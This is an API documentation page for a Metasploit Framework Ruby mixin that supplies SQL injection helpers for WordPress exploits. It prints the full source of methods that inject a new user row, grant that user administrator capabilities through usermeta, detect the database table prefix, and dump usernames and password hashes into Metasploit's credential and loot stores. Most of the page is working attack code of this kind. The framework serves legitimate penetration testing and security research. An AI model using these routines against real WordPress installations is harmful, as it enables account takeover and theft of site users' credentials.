Module: Msf::Exploit::Remote::HTTP::Wordpress::SQLi
- Includes:
- SQLi
- Defined in:
- lib/msf/core/exploit/remote/http/wordpress/sqli.rb
Overview
This module provides reusable SQLi (SQL Injection) helper functions for WordPress exploits in Metasploit Framework. These functions allow for actions such as creating new users, granting privileges, and dumping user credentials via SQL injection vulnerabilities in WordPress.
Usage:
Include this module in your exploit or auxiliary module and use
the provided functions to simplify SQL injection logic.
Instance Method Summary collapse
-
#wordpress_sqli_create_user(username, password, email) ⇒ void
Inject an user into the WordPress database, creating or updating an entry.
-
#wordpress_sqli_get_users_credentials(count = 10) ⇒ Array<Array>
Get users’ credentials from the wp_users table.
-
#wordpress_sqli_grant_admin_privileges(username) ⇒ void
Grant admin privileges to the specified user by creating or updating the appropriate meta entry.
-
#wordpress_sqli_identify_table_prefix ⇒ String
Identify the table prefix for the WordPress installation.
-
#wordpress_sqli_initialize(sqli) ⇒ void
Function to initialize the SQLi instance in the mixin.
Methods included from SQLi
Instance Method Details
#wordpress_sqli_create_user(username, password, email) ⇒ void
This method returns an undefined value.
Inject an user into the WordPress database, creating or updating an entry.
This method either creates a new user entry in the ‘users’ table or updates an existing one. If the user already exists, their password, nicename, email, and display name will be updated. Otherwise, a new user will be created with the provided credentials and default values. The password is hashed using MD5 for compatibility with older WordPress versions.
37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
# File 'lib/msf/core/exploit/remote/http/wordpress/sqli.rb', line 37 def wordpress_sqli_create_user(username, password, email) query = <<-SQL INSERT INTO #{@prefix}users (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name) SELECT '#{username}', MD5('#{password}'), '#{username}', '#{email}', user_registered, user_status, '#{username}' FROM #{@prefix}users WHERE NOT EXISTS ( SELECT 1 FROM #{@prefix}users WHERE user_login = '#{username}' ) LIMIT 1 ON DUPLICATE KEY UPDATE user_pass = MD5('#{password}'), user_nicename = '#{username}', user_email = '#{email}', display_name = '#{username}' SQL @sqli.raw_run_sql(query.strip.gsub(/\s+/, ' ')) vprint_status("{WPSQLi} User '#{username}' created or updated successfully.") end |
#wordpress_sqli_get_users_credentials(count = 10) ⇒ Array<Array>
Get users’ credentials from the wp_users table
126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 |
# File 'lib/msf/core/exploit/remote/http/wordpress/sqli.rb', line 126 def wordpress_sqli_get_users_credentials(count = 10) columns = ['user_login', 'user_pass'] data = @sqli.dump_table_fields("#{@prefix}users", columns, '', count) table = Rex::Text::Table.new( 'Header' => "#{@prefix}users", 'Indent' => 4, 'Columns' => columns ) loot_data = '' data.each do |user| table << user loot_data << "Username: #{user[0]}, Password Hash: #{user[1]}\n" create_credential({ workspace_id: myworkspace_id, origin_type: :service, module_fullname: fullname, username: user[0], private_type: :nonreplayable_hash, jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]), private_data: user[1], service_name: 'WordPress', address: datastore['RHOST'], port: datastore['RPORT'], protocol: 'tcp', status: Metasploit::Model::Login::Status::UNTRIED }) vprint_good("{WPSQLi} Credential for user '#{user[0]}' created successfully.") end vprint_status('{WPSQLi} Dumped user data:') print_line(table.to_s) loot_path = store_loot( 'wordpress.users', 'text/plain', datastore['RHOST'], loot_data, 'wp_users.txt', 'WordPress Usernames and Password Hashes' ) print_good("Loot saved to: #{loot_path}") vprint_status('{WPSQLi} Reporting host...') report_host(host: datastore['RHOST']) vprint_status('{WPSQLi} Reporting service...') report_service( host: datastore['RHOST'], port: datastore['RPORT'], proto: 'tcp', name: fullname, info: description.strip ) vprint_status('{WPSQLi} Reporting vulnerability...') report_vuln( host: datastore['RHOST'], port: datastore['RPORT'], proto: 'tcp', name: fullname, refs: references, info: description.strip ) vprint_good('{WPSQLi} Reporting completed successfully.') return data end |
#wordpress_sqli_grant_admin_privileges(username) ⇒ void
This method returns an undefined value.
Grant admin privileges to the specified user by creating or updating the appropriate meta entry.
This method either creates a new entry in the ‘usermeta’ table or updates an existing one to grant administrator capabilities to the specified user. If the entry for the user’s capabilities already exists, it will be updated to assign administrator privileges. If the entry does not exist, a new one will be created.
67 68 69 70 71 72 73 74 75 76 77 78 79 |
# File 'lib/msf/core/exploit/remote/http/wordpress/sqli.rb', line 67 def wordpress_sqli_grant_admin_privileges(username) admin_query = <<-SQL INSERT INTO #{@prefix}usermeta (user_id, meta_key, meta_value) SELECT ID, '#{@prefix}capabilities', 'a:1:{s:13:"administrator";s:1:"1";}' FROM #{@prefix}users WHERE user_login = '#{username}' ON DUPLICATE KEY UPDATE meta_value = 'a:1:{s:13:"administrator";s:1:"1";}' SQL @sqli.raw_run_sql(admin_query.strip.gsub(/\s+/, ' ')) vprint_status("{WPSQLi} Admin privileges granted or updated for user '#{username}'.") end |
#wordpress_sqli_identify_table_prefix ⇒ String
Identify the table prefix for the WordPress installation
85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 |
# File 'lib/msf/core/exploit/remote/http/wordpress/sqli.rb', line 85 def wordpress_sqli_identify_table_prefix indicator = rand(0..19) random_alias = Rex::Text.rand_text_alpha(1..5) default_prefix_check = "SELECT #{indicator} FROM information_schema.tables WHERE table_name = 'wp_users'" result = @sqli.run_sql(default_prefix_check)&.to_i if result == indicator vprint_status("{WPSQLi} Retrieved default table prefix: 'wp_'") return 'wp_' end vprint_status('{WPSQLi} Default prefix not found, attempting to detect custom table prefix...') query = <<-SQL SELECT LEFT(table_name, LENGTH(table_name) - LENGTH('users')) FROM information_schema.tables WHERE table_schema = database() AND table_name LIKE '%\\_users' AND (SELECT COUNT(*) FROM information_schema.columns #{random_alias} WHERE #{random_alias}.table_schema = tables.table_schema AND #{random_alias}.table_name = tables.table_name AND #{random_alias}.column_name IN ('user_login', 'user_pass') ) = 2 LIMIT 1 SQL prefix = @sqli.run_sql(query.strip.gsub(/\s+/, ' ')) unless prefix && !prefix.strip.empty? print_error('{WPSQLi} Unable to detect the table prefix.') return nil end vprint_status("{WPSQLi} Custom table prefix detected: '#{prefix}'") prefix end |
#wordpress_sqli_initialize(sqli) ⇒ void
This method returns an undefined value.
Function to initialize the SQLi instance in the mixin.
This function sets up the SQLi instance that is initialized in the exploit module. The SQLi instance is passed as a parameter to ensure it is accessible within the mixin and can be used for executing SQL injection queries.
21 22 23 24 |
# File 'lib/msf/core/exploit/remote/http/wordpress/sqli.rb', line 21 def wordpress_sqli_initialize(sqli) @sqli = sqli @prefix = wordpress_sqli_identify_table_prefix end |